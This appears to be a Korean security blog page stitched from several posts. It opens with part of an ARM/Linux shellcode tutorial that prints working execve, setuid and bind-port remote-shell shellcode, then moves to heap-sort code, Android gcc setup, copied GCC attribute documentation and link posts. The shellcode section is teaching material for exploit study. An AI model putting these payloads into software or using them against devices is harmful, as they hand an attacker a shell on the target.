               r1 = ptr to int  sockfd, struct sockaddr *my_addr, 

                    socklen_t addrlen

      call number = 0x900066 (socketcall)



       listen:

       ------- 

               r0 = 4 (SYS_LISTEN)

               r1 = ptr to int s, int backlog

      call number = 0x900066 (socketcall)



       accept:

       ------- 

               r0 = 5 (SYS_ACCEPT)

               r1 = ptr int s,  struct  sockaddr  *addr,

                    socklen_t *addrlen 

      call number = 0x900066 (socketcall)




---[  Common operations 


 

 Loading high values 

 -------------------


모든 상태와 레지스터 숫자가 32bit word 를 나타내고, op코드역시 32bit 이기때문에, 하나의 instruction 안에 레지스터 속의 높은 값은 즉시 로딩 된다. 

이러한 문제는 'shifting' 이라불리는 특징에 의해 해결 될 수 있게된다.

ARM 어셈블리는 6개의 연상되는 shift type이 존재한다. 


           lsl -  logical shift left

           asl -  arithmetic shift left

           lsr -  logical shift right

           asr -  arithmetic shift right

           ror -  rotate right

           rrx -  rotate right with extend


sfifter 는 data 처리 instruction과 함께 처리될수 있다. 또한 ldl 과 str instruction과도 함께 사용된다. 


예를들어 r0 와 0x900000 를 load 하기 위해 우리는 아래의 명령어를 수행할 수 있다.

         mov   r0, #144           ; 0x90

         mov   r0, r0, lsl #16    ; 0x90 << 16 = 0x900000




 Position independence

 ---------------------


 자신의 코드의 위치를 얻는것은 매우 쉽다. PC 는 일반적인 목적의 레지스터이다.

그리고 심지어 어떠한 순간에서든 32bit 값의 메모리 어디든지 jump 를 할수 있다

예를 들어 아래와 같다. 실행 후 : 


         sub   r0, pc, #4


다음 instruction 은 r0 에 저장된다. 

다른 방법으로는 link 와 함께하는 branch instruction 에서 사용될 수 있다.


         bl    sss

         swi   0x900001

  sss:   mov   r0, lr


지금 r0 의 주소값은 "swi 0x900001" 을 가르키고 있다.



 

 Loops

 -----


 3번을 반복하는 반복문에 대해서 이야기해보자. 

전형적인 반복문은 아래와같이 구조화 될수 있다.


         mov   r0, #3     <- loop counter

 loop:   ...    

         sub   r0, r0, #1 <- fd = fd -1 

         cmp   r0, #0     <- check if r0 == 0 already

         bne   loop       <- goto loop if no (if Z flag != 1)


이러한 반복은 subs에 의해 최적화 될수 있고 이러한 반복은 Z flag를 셋팅하여

우리가 r0 에 도달했을때 cmp 구문을 종료 시키는데 쓰인다.


 

         mov   r0, #3

 loop:   ...

         subs  r0, r0, #1

         bne   loop



 Nop instruction

 ---------------


ARM 에서는 "mov r0,r0 " 는 nop 으로 사용된다. 그러나 이것은 null 도 같이 따르게 된다. 그래서 이러한 "중간 생략" instruction 은 취약점을 보여주는 POC 작성때만 써야한다.


         mov   r1, r1    [ 0xe1a01001 ]

          


---[  Null avoiding


대부분의 r0 레지스터를 사용하는 instruction 은 '0' 이다. 

이는 보통 다른 instruction으로 대체되거나 자체 수정된다. 


예시)

             e3a00041    mov   r0, #65      can be raplaced with:

   

             e0411001    sub   r1, r1, r1

             e2812041    add   r2, r1, #65

             e1a00112    mov   r0, r2, lsl r1  (r0 = r2 << 0)



 아래의 방법으로 syscall 은 patch 될수 있다.


             e28f1004    add   r1, pc, #4    <- get address of swi

             e0422002    sub   r2, r2, r2    

             e5c12001    strb  r2, [r1, #1]  <- patch 0xff with 0x00

             ef90ff0b    swi   0x90ff0b      <- crippled syscall

 

 Store/Load multiple also generates 'zero', even if r0 register is not

 used:

 

             e92d001e    stmfd sp!, {r1, r2, r3, r4}

 

 In example codes presented in next section I used storing with link

 register:


             e04ee00e    sub   lr, lr, lr

             e92d401e    stmfd sp!, {r1, r2, r3, r4, lr}







---[  Example codes



/*

 * 47 byte StrongARM/Linux execve() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x1c\x30\x8f\xe2"   /*  add   r3, pc, #28 (0x1c)    */

                  "\x04\x30\x8d\xe5"   /*  str   r3, [sp, #4]          */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x07\x20\xc3\xe5"   /*  strb  r2, [r3, #7           */

                  "\x04\x30\x8f\xe2"   /*  add   r3, pc, #4            */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x01\x20\xc3\xe5"   /*  strb  r2, [r3, #1]          */

                  "\x0b\x0b\x90\xef"   /*  swi   0x90ff0b              */

                  "/bin/sh";



/*

 * 20 byte StrongARM/Linux setuid() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x04\x10\x8f\xe2"   /*  add   r1, pc, #4            */

                  "\x12\x02\xa0\xe1"   /*  mov   r0, r2, lsl r2        */

                  "\x01\x20\xc1\xe5"   /*  strb  r2, [r1, #1]          */

                  "\x17\x0b\x90\xef";  /*  swi   0x90ff17              */



/*

 * 203 byte StrongARM/Linux bind() portshell shellcode

 * funkysh

 */


char shellcode[]= "\x20\x60\x8f\xe2"   /*  add   r6, pc, #32           */

                  "\x07\x70\x47\xe0"   /*  sub   r7, r7, r7            */

                  "\x01\x70\xc6\xe5"   /*  strb  r7, [r6, #1]          */

                  "\x01\x30\x87\xe2"   /*  add   r3, r7, #1            */

                  "\x13\x07\xa0\xe1"   /*  mov   r0, r3, lsl r7        */

                  "\x01\x20\x83\xe2"   /*  add   r2, r3, #1            */

                  "\x07\x40\xa0\xe1"   /*  mov   r4, r7                */

                  "\x0e\xe0\x4e\xe0"   /*  sub   lr, lr, lr            */

                  "\x1c\x40\x2d\xe9"   /*  stmfd sp!, {r2-r4, lr}      */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (socket) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x35\x70\xc6\xe5"   /*  strb  r7, [r6, #53]         */

                  "\x14\x20\xa0\xe3"   /*  mov   r2, #20               */

                  "\x82\x28\xa9\xe1"   /*  mov   r2, r2, lsl #17       */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x14\x40\x2d\xe9"   /*  stmfd sp!, {r2,r4, lr}      */

                  "\x10\x30\xa0\xe3"   /*  mov   r3, #16               */

                  "\x0d\x20\xa0\xe1"   /*  mov   r2, sp                */

                  "\x0d\x40\x2d\xe9"   /*  stmfd sp!, {r0, r2, r3, lr} */

                  "\x02\x20\xa0\xe3"   /*  mov   r2, #2                */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66       (bind) */

                  "\x45\x70\xc6\xe5"   /*  strb  r7, [r6, #69]         */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (listen) */

                  "\x5d\x70\xc6\xe5"   /*  strb  r7, [r6, #93]         */

                  "\x01\x20\x82\xe2"   /*  add   r2, r2, #1            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x04\x70\x8d\xe5"   /*  str   r7, [sp, #4]          */

                  "\x08\x70\x8d\xe5"   /*  str r7, [sp, #8]          */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (accept) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x02\x10\xa0\xe3"   /*  mov   r1, #2                */

                  "\x71\x70\xc6\xe5"   /*  strb  r7, [r6, #113]        */

                  "\x15\x07\xa0\xe1"   /*  mov   r0, r5, lsl r7 <dup2> */

                  "\x3f\xff\x90\xef"   /*  swi   0x90ff3f       (dup2) */

                  "\x01\x10\x51\xe2"   /*  subs  r1, r1, #1            */

                  "\xfb\xff\xff\x5a"   /*  bpl   <dup2>                */

                  "\x99\x70\xc6\xe5"   /*  strb  r7, [r6, #153]        */

                  "\x14\x30\x8f\xe2"   /*  add   r3, pc, #20           */

                  "\x04\x30\x8d\xe5"   /*  str r3, [sp, #4]          */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x0b\xff\x90\xef"   /*  swi 0x900ff0b    (execve) */

                  "/bin/sh";


Posted by k1rha
2014. 9. 16. 15:34


힙소팅 정리한 소스 heap sorting sorce 



#include <stdio.h>

#include <stdlib.h>

#include <time.h>

#define SIZE 10                    // 배열 사이즈 정의


void create_random_data( int heap_array[], int size );

void display( int array[],int size );

void reverse_display( int array[], int size );


void create_heap_tree( int heap_array[] , int size );

void swap( int heap_array[], int index );

void heap_sorting( int heap_array[], int sort_array[] , int size );

int swap_sort( int heap_array[] , int size );

int min( int a , int b );


void main() {

clock_t start,finish;                       

int heap_array[SIZE];

int sort_array[SIZE];


/*random create */

printf("<< Random Data >>\n");

create_random_data(heap_array,SIZE);  //랜덤 데이타 생성

display(heap_array,SIZE);     


create_heap_tree(heap_array,SIZE);   //힙 트리 생성

printf("\n<< Create_heap_tree Data >>\n");

display(heap_array,SIZE);


heap_sorting(heap_array,sort_array,SIZE);   //힙 소팅 함수 호출

printf("\n<< Sorted Data >>\n");

display(sort_array,SIZE);


printf("\n<< Reverse Sorted Data >>\n");

reverse_display(sort_array,SIZE);


printf("\n");


}


void create_random_data(int heap_array[], int size) {

int i;

for(i=0 ; i<size ; i++)

heap_array[i] = rand()%size*3;

}


////////////////////////////////////////////////////////////////

//함수명 : display

//용도      : 배열을 출력한다.

//매개변수  : 배열 포인터,배열 사이즈

//리턴값    : 출력시간(정수)

void display(int array[], int size) {

int i;

for(i=0 ; i<size ; i++)

printf("%d ",array[i]);

printf("\n");

}


void reverse_display(int array[], int size) {

int i;

for(i=size-1 ; i>=0 ; i--)

printf("%d ",array[i]);

}


void create_heap_tree(int heap_array[], int size) {

int i;

for(i=1 ; i<size ; i++)

swap(heap_array,i);

}


/*create Heap 에 사용 되며, 상위 노드가 하위 노드보다는 반드시 작도록 배치한다.*/

void swap(int heap_array[], int index) {

int temp;

int swap_flag = 1;


while(swap_flag && index != 0) {    //루트 이거나 swap이 일어나지 않으면 종료

swap_flag = 0;     //swap을 감시하는 플래그


//index%2 == 1 이면 좌측 자식이다 (현재가 자식이다.. 루트이면 그냥 넘어감)

if(index%2 == 1 && heap_array[index] < heap_array[(index-1)/2]) {

heap_array[index] = heap_array[index] ^ heap_array[(index-1)/2];

heap_array[(index-1)/2] = heap_array[index] ^ heap_array[(index-1)/2];

heap_array[index] = heap_array[index] ^ heap_array[(index-1)/2];


index = (index-1)/2;

swap_flag = 1;

}

//index%2 == 0 이면 우측 자식이다(현재가 자식이다.. 루트이면 그냥 넘어감)

if(index%2 == 0 && heap_array[index] < heap_array[(index-2)/2]) {

heap_array[index] = heap_array[index] ^ heap_array[(index-2)/2];

heap_array[(index-2)/2] = heap_array[index] ^ heap_array[(index-2)/2];

heap_array[index] = heap_array[index] ^ heap_array[(index-2)/2];


index = (index-2)/2;

swap_flag = 1;

}

}

}




/* 힙트리의 배열에서 루트값을 빼내면서 소팅한다 */

void heap_sorting( int heap_array[], int sort_array[], int size ) {

int i = 0;

int heap_array_size;

heap_array_size = size;


for( i=0 ; i<size ; i++ ) {

sort_array[i] = swap_sort( heap_array, heap_array_size );

heap_array_size--; 

}


}

/* 최상위 root가 제일 작도록 소팅함. root 값에 최 하위 값 (상대적으로 큰값)

을 넣고 자식 노드와 비교해가며 정렬함 */

int swap_sort(int heap_array[], int size) {

int sort_value;

int swap_flag = 0;

int i = 0;

/* swap이 발생하지 않거나 인덱스가 size를 초과 하면 종료한다 */

while( swap_flag == 0 && !( ((i*2)+1 >= size-1) && ( (i*2)+2 >=size-1) ) ) {


swap_flag = 1;

///////////////////////////////////////////////////////////////////

// 좌 우 자식중 더 작은값(min함수 호출)과 비교한다

// 작은 값이 없다면.. 리턴! why? 힙소팅 create 부분에서 이미 상위

// 노트가 하위 노드보다는 반드시 작도록 설정 되었기 때문! 

// 좌 우 중 작은쪽이 있다면 작은 쪽의주로 정렬을 해 드러간다.

if( heap_array[i] > min( heap_array[(i*2)+1] , heap_array[(i*2)+2] )) 

{

if(heap_array[(i*2)+1] < heap_array[(i*2)+2]) {

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+1];

heap_array[(i*2)+1] = heap_array[i] ^ heap_array[(i*2)+1];

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+1];

i = (i*2)+1;

}

else {

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+2];

heap_array[(i*2)+2] = heap_array[i] ^ heap_array[(i*2)+2];

heap_array[i] = heap_array[i] ^ heap_array[(i*2)+2];

i = (i*2)+2;

}

swap_flag = 0;

}// end if


}// end while



/* 젤 작은 root 값을 넘겨주고, root는 현트리의 제일 마지막 노드로 교체됨 */

sort_value = heap_array[0];

heap_array[0] = heap_array[size-1]; 

return sort_value;

}


int min(int a, int b) {

if(a < b) return a;

else return b;

}




Posted by k1rha
2014. 9. 11. 08:56

Android gdb, gcc  파일 



http://codetronik.tistory.com/26  // 다운로드 출처 

// gcc 용량은 너무 커서 7zip 으로 풀어줘야함. 


설치 방법 :

adb shell mkdir /data/local/gcc
adb push android_gcc_r2a.tar.bz2 /data/local/gcc
adb push android_gcc_supplement.tar.bz2 /data/local/gcc
adb push android_R_r1a2.tar.bz2 /data/local/gcc
adb shell
cd /data/local/gcc
tar xjf android_gcc_r2a.tar.bz2
tar xjf android_gcc_supplement.tar.bz2
tar xjf android_R_r1a2.tar.bz2

환경 변수 등록 : bashrc

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/data/local/gcc/lib
export PATH=$PATH:/data/local/gcc/bin


Posted by k1rha
2014. 7. 2. 11:40

Declaring Attributes of Functions

In GNU C, you declare certain things about functions called in your program which help the compiler optimize function calls and check your code more carefully.

The keyword __attribute__ allows you to specify special attributes when making a declaration. This keyword is followed by an attribute specification inside double parentheses. The following attributes are currently defined for functions on all targets: noreturn,noinlinealways_inlinepureconstformatformat_argno_instrument_functionsectionconstructordestructorusedunuseddeprecatedweakmalloc, and alias. Several other attributes are defined for functions on particular target systems. Other attributes, includingsection are supported for variables declarations (see Variable Attributes) and for types (see Type Attributes).

You may also specify attributes with __ preceding and following each keyword. This allows you to use them in header files without being concerned about a possible macro of the same name. For example, you may use __noreturn__ instead of noreturn.

See Attribute Syntax, for details of the exact syntax for using attributes.

noreturn
A few standard library functions, such as abort and exit, cannot return. GCC knows this automatically. Some programs define their own functions that never return. You can declare them noreturn to tell the compiler this fact. For example,
          void fatal () __attribute__ ((noreturn));
          
          void
          fatal (...)
          {
            ... /* Print error message. */ ...
            exit (1);
          }
          

The noreturn keyword tells the compiler to assume that fatal cannot return. It can then optimize without regard to what would happen if fatal ever did return. This makes slightly better code. More importantly, it helps avoid spurious warnings of uninitialized variables.

Do not assume that registers saved by the calling function are restored before calling the noreturn function.

It does not make sense for a noreturn function to have a return type other than void.

The attribute noreturn is not implemented in GCC versions earlier than 2.5. An alternative way to declare that a function does not return, which works in the current version and in some older versions, is as follows:

          typedef void voidfn ();
          
          volatile voidfn fatal;
          

noinline
This function attribute prevents a function from being considered for inlining. 
always_inline
Generally, functions are not inlined unless optimization is specified. For functions declared inline, this attribute inlines the function even if no optimization level was specified. 
pure
Many functions have no effects except the return value and their return value depends only on the parameters and/or global variables. Such a function can be subject to common subexpression elimination and loop optimization just as an arithmetic operator would be. These functions should be declared with the attribute pure. For example,
          int square (int) __attribute__ ((pure));
          

says that the hypothetical function square is safe to call fewer times than the program says.

Some of common examples of pure functions are strlen or memcmp. Interesting non-pure functions are functions with infinite loops or those depending on volatile memory or other system resource, that may change between two consecutive calls (such as feof in a multithreading environment).

The attribute pure is not implemented in GCC versions earlier than 2.96. 

const
Many functions do not examine any values except their arguments, and have no effects except the return value. Basically this is just slightly more strict class than the pure attribute above, since function is not allowed to read global memory.

Note that a function that has pointer arguments and examines the data pointed to must not be declared const. Likewise, a function that calls a non-const function usually must not be const. It does not make sense for a const function to return void.

The attribute const is not implemented in GCC versions earlier than 2.5. An alternative way to declare that a function has no side effects, which works in the current version and in some older versions, is as follows:

          typedef int intfn ();
          
          extern const intfn square;
          

This approach does not work in GNU C++ from 2.6.0 on, since the language specifies that the const must be attached to the return value. 

format (archetypestring-indexfirst-to-check)
The format attribute specifies that a function takes printfscanfstrftime or strfmon style arguments which should be type-checked against a format string. For example, the declaration:
          extern int
          my_printf (void *my_object, const char *my_format, ...)
                __attribute__ ((format (printf, 2, 3)));
          

causes the compiler to check the arguments in calls to my_printf for consistency with the printf style format string argument my_format.

The parameter archetype determines how the format string is interpreted, and should be printfscanfstrftime or strfmon. (You can also use __printf____scanf____strftime__ or __strfmon__.) The parameter string-index specifies which argument is the format string argument (starting from 1), while first-to-check is the number of the first argument to check against the format string. For functions where the arguments are not available to be checked (such as vprintf), specify the third parameter as zero. In this case the compiler only checks the format string for consistency. For strftime formats, the third parameter is required to be zero.

In the example above, the format string (my_format) is the second argument of the function my_print, and the arguments to check start with the third argument, so the correct parameters for the format attribute are 2 and 3.

The format attribute allows you to identify your own functions which take format strings as arguments, so that GCC can check the calls to these functions for errors. The compiler always (unless -ffreestanding is used) checks formats for the standard library functions printffprintfsprintfscanffscanfsscanfstrftimevprintfvfprintf and vsprintf whenever such warnings are requested (using -Wformat), so there is no need to modify the header file stdio.h. In C99 mode, the functions snprintf,vsnprintfvscanfvfscanf and vsscanf are also checked. Except in strictly conforming C standard modes, the X/Open function strfmon is also checked as are printf_unlocked and fprintf_unlocked. See Options Controlling C Dialect

format_arg (string-index)
The format_arg attribute specifies that a function takes a format string for a printfscanfstrftime or strfmon style function and modifies it (for example, to translate it into another language), so the result can be passed to a printfscanfstrftime or strfmonstyle function (with the remaining arguments to the format function the same as they would have been for the unmodified string). For example, the declaration:
          extern char *
          my_dgettext (char *my_domain, const char *my_format)
                __attribute__ ((format_arg (2)));
          

causes the compiler to check the arguments in calls to a printfscanfstrftime or strfmon type function, whose format string argument is a call to the my_dgettext function, for consistency with the format string argument my_format. If the format_arg attribute had not been specified, all the compiler could tell in such calls to format functions would be that the format string argument is not constant; this would generate a warning when -Wformat-nonliteral is used, but the calls could not be checked without the attribute.

The parameter string-index specifies which argument is the format string argument (starting from 1).

The format-arg attribute allows you to identify your own functions which modify format strings, so that GCC can check the calls to printfscanfstrftime or strfmon type function whose operands are a call to one of your own function. The compiler always treats gettextdgettext, and dcgettext in this manner except when strict ISO C support is requested by -ansi or an appropriate -std option, or -ffreestanding is used. See Options Controlling C Dialect

no_instrument_function
If -finstrument-functions is given, profiling function calls will be generated at entry and exit of most user-compiled functions. Functions with this attribute will not be so instrumented. 
section ("section-name")
Normally, the compiler places the code it generates in the text section. Sometimes, however, you need additional sections, or you need certain particular functions to appear in special sections. The section attribute specifies that a function lives in a particular section. For example, the declaration:
          extern void foobar (void) __attribute__ ((section ("bar")));
          

puts the function foobar in the bar section.

Some file formats do not support arbitrary sections so the section attribute is not available on all platforms. If you need to map the entire contents of a module to a particular section, consider using the facilities of the linker instead. 

constructor
destructor
The constructor attribute causes the function to be called automatically before execution enters main (). Similarly, the destructor attribute causes the function to be called automatically after main () has completed or exit () has been called. Functions with these attributes are useful for initializing data that will be used implicitly during the execution of the program.

These attributes are not currently implemented for Objective-C. 

unused
This attribute, attached to a function, means that the function is meant to be possibly unused. GCC will not produce a warning for this function. GNU C++ does not currently support this attribute as definitions without parameters are valid in C++. 
used
This attribute, attached to a function, means that code must be emitted for the function even if it appears that the function is not referenced. This is useful, for example, when the function is referenced only in inline assembly. 
deprecated
The deprecated attribute results in a warning if the function is used anywhere in the source file. This is useful when identifying functions that are expected to be removed in a future version of a program. The warning also includes the location of the declaration of the deprecated function, to enable users to easily find further information about why the function is deprecated, or what they should do instead. Note that the warnings only occurs for uses:
          int old_fn () __attribute__ ((deprecated));
          int old_fn ();
          int (*fn_ptr)() = old_fn;
          

results in a warning on line 3 but not line 2.

The deprecated attribute can also be used for variables and types (see Variable Attributes, see Type Attributes.) 

weak
The weak attribute causes the declaration to be emitted as a weak symbol rather than a global. This is primarily useful in defining library functions which can be overridden in user code, though it can also be used with non-function declarations. Weak symbols are supported for ELF targets, and also for a.out targets when using the GNU assembler and linker. 
malloc
The malloc attribute is used to tell the compiler that a function may be treated as if it were the malloc function. The compiler assumes that calls to malloc result in a pointers that cannot alias anything. This will often improve optimization. 
alias ("target")
The alias attribute causes the declaration to be emitted as an alias for another symbol, which must be specified. For instance,
          void __f () { /* do something */; }
          void f () __attribute__ ((weak, alias ("__f")));
          

declares f to be a weak alias for __f. In C++, the mangled name for the target must be used.

Not all target machines support this attribute. 

regparm (number)
On the Intel 386, the regparm attribute causes the compiler to pass up to number integer arguments in registers EAX, EDX, and ECX instead of on the stack. Functions that take a variable number of arguments will continue to be passed all of their arguments on the stack. 
stdcall
On the Intel 386, the stdcall attribute causes the compiler to assume that the called function will pop off the stack space used to pass arguments, unless it takes a variable number of arguments.

The PowerPC compiler for Windows NT currently ignores the stdcall attribute. 

cdecl
On the Intel 386, the cdecl attribute causes the compiler to assume that the calling function will pop off the stack space used to pass arguments. This is useful to override the effects of the -mrtd switch.

The PowerPC compiler for Windows NT currently ignores the cdecl attribute. 

longcall
On the RS/6000 and PowerPC, the longcall attribute causes the compiler to always call the function via a pointer, so that functions which reside further than 64 megabytes (67,108,864 bytes) from the current location can be called. 
long_call/short_call
This attribute allows to specify how to call a particular function on ARM. Both attributes override the -mlong-calls (see ARM Options) command line switch and #pragma long_calls settings. The long_call attribute causes the compiler to always call the function by first loading its address into a register and then using the contents of that register. The short_call attribute always places the offset to the function from the call site into the BL instruction directly. 
dllimport
On the PowerPC running Windows NT, the dllimport attribute causes the compiler to call the function via a global pointer to the function pointer that is set up by the Windows NT dll library. The pointer name is formed by combining __imp_ and the function name. 
dllexport
On the PowerPC running Windows NT, the dllexport attribute causes the compiler to provide a global pointer to the function pointer, so that it can be called with the dllimport attribute. The pointer name is formed by combining __imp_ and the function name. 
exception (except-func [, except-arg])
On the PowerPC running Windows NT, the exception attribute causes the compiler to modify the structured exception table entry it emits for the declared function. The string or identifier except-func is placed in the third entry of the structured exception table. It represents a function, which is called by the exception handling mechanism if an exception occurs. If it was specified, the string or identifier except-arg is placed in the fourth entry of the structured exception table. 
function_vector
Use this attribute on the H8/300 and H8/300H to indicate that the specified function should be called through the function vector. Calling a function through the function vector will reduce code size, however; the function vector has a limited size (maximum 128 entries on the H8/300 and 64 entries on the H8/300H) and shares space with the interrupt vector.

You must use GAS and GLD from GNU binutils version 2.7 or later for this attribute to work correctly. 

interrupt
Use this attribute on the ARM, AVR, M32R/D and Xstormy16 ports to indicate that the specified function is an interrupt handler. The compiler will generate function entry and exit sequences suitable for use in an interrupt handler when this attribute is present.

Note, interrupt handlers for the H8/300, H8/300H and SH processors can be specified via the interrupt_handler attribute.

Note, on the AVR interrupts will be enabled inside the function.

Note, for the ARM you can specify the kind of interrupt to be handled by adding an optional parameter to the interrupt attribute like this:

          void f () __attribute__ ((interrupt ("IRQ")));
          

Permissible values for this parameter are: IRQ, FIQ, SWI, ABORT and UNDEF. 

interrupt_handler
Use this attribute on the H8/300, H8/300H and SH to indicate that the specified function is an interrupt handler. The compiler will generate function entry and exit sequences suitable for use in an interrupt handler when this attribute is present. 
sp_switch
Use this attribute on the SH to indicate an interrupt_handler function should switch to an alternate stack. It expects a string argument that names a global variable holding the address of the alternate stack.
          void *alt_stack;
          void f () __attribute__ ((interrupt_handler,
                                    sp_switch ("alt_stack")));
          

trap_exit
Use this attribute on the SH for an interrupt_handle to return using trapa instead of rte. This attribute expects an integer argument specifying the trap number to be used. 
eightbit_data
Use this attribute on the H8/300 and H8/300H to indicate that the specified variable should be placed into the eight bit data section. The compiler will generate more efficient code for certain operations on data in the eight bit data area. Note the eight bit data area is limited to 256 bytes of data.

You must use GAS and GLD from GNU binutils version 2.7 or later for this attribute to work correctly. 

tiny_data
Use this attribute on the H8/300H to indicate that the specified variable should be placed into the tiny data section. The compiler will generate more efficient code for loads and stores on data in the tiny data section. Note the tiny data area is limited to slightly under 32kbytes of data. 
signal
Use this attribute on the AVR to indicate that the specified function is an signal handler. The compiler will generate function entry and exit sequences suitable for use in an signal handler when this attribute is present. Interrupts will be disabled inside function. 
naked
Use this attribute on the ARM or AVR ports to indicate that the specified function do not need prologue/epilogue sequences generated by the compiler. It is up to the programmer to provide these sequences. 
model (model-name)
Use this attribute on the M32R/D to set the addressability of an object, and the code generated for a function. The identifier model-name is one of smallmedium, or large, representing each of the code models.

Small model objects live in the lower 16MB of memory (so that their addresses can be loaded with the ld24 instruction), and are callable with the bl instruction.

Medium model objects may live anywhere in the 32-bit address space (the compiler will generate seth/add3 instructions to load their addresses), and are callable with the bl instruction.

Large model objects may live anywhere in the 32-bit address space (the compiler will generate seth/add3 instructions to load their addresses), and may not be reachable with the bl instruction (the compiler will generate the much slower seth/add3/jlinstruction sequence).

You can specify multiple attributes in a declaration by separating them by commas within the double parentheses or by immediately following an attribute declaration with another attribute declaration.

Some people object to the __attribute__ feature, suggesting that ISO C's #pragma should be used instead. At the time __attribute__ was designed, there were two reasons for not doing this.

  1. It is impossible to generate #pragma commands from a macro.
  2. There is no telling what the same #pragma might mean in another compiler.

These two reasons applied to almost any application that might have been proposed for #pragma. It was basically a mistake to use #pragma for anything.

The ISO C99 standard includes _Pragma, which now allows pragmas to be generated from macros. In addition, a #pragma GCC namespace is now in use for GCC-specific pragmas. However, it has been found convenient to use __attribute__ to achieve a natural attachment of attributes to their corresponding declarations, whereas #pragma GCC is of use for constructs that do not naturally form part of the grammar. See Miscellaneous Preprocessing Directives.

Posted by k1rha
2014. 6. 29. 22:46

요즘 하고픈게 너무 많아 책읽은 시간이 부족하지만..

저장용 및 공유용 

키워드 : e book 이북. 인터넷 서적. 


IT 관련 E-book 모아 놓은 사이트 저장~

huge collection ebook:
+ Android
+ CSS
+ Hack
+ Python
and more.....

You can download it here: 



http://ebooks.shahed.biz/


Posted by k1rha
2014. 6. 25. 12:37

링크 : http://blog.acronym.co.kr/329?fb_action_ids=291874987652641&fb_action_types=og.comments


Posted by k1rha